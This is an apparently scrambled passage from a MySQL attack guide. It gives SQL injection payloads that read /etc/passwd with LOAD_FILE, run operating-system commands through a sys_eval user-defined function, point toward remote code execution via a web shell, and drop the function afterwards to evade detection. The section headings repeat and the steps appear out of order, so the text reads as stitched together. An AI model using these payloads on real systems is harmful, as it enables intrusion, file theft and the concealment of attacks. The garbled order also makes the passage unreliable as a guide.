If the database user has sufficient privileges (e.g., FILE privilege), further system-level access is possible.
If secure_file_priv permits, local files can be read using LOAD_FILE() : UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3-- - Use code with caution. Writing Files (Achieving RCE via Web Shell)
Once exploitation is complete, remove the traces to evade detection: DROP FUNCTION sys_eval; Use code with caution. 6. Defensive Countermeasures
Run arbitrary operating system commands with the privileges of the MySQL service account: SELECT sys_eval('id'); SELECT sys_eval('whoami'); Use code with caution. 6. Defensive Hardening Best Practices
: Using user-defined functions (UDF) to run commands with the privileges of the MySQL user.
: Forcing the database to display data within error messages.
Begin your assessment by identifying the service version and running default vulnerability scripts.
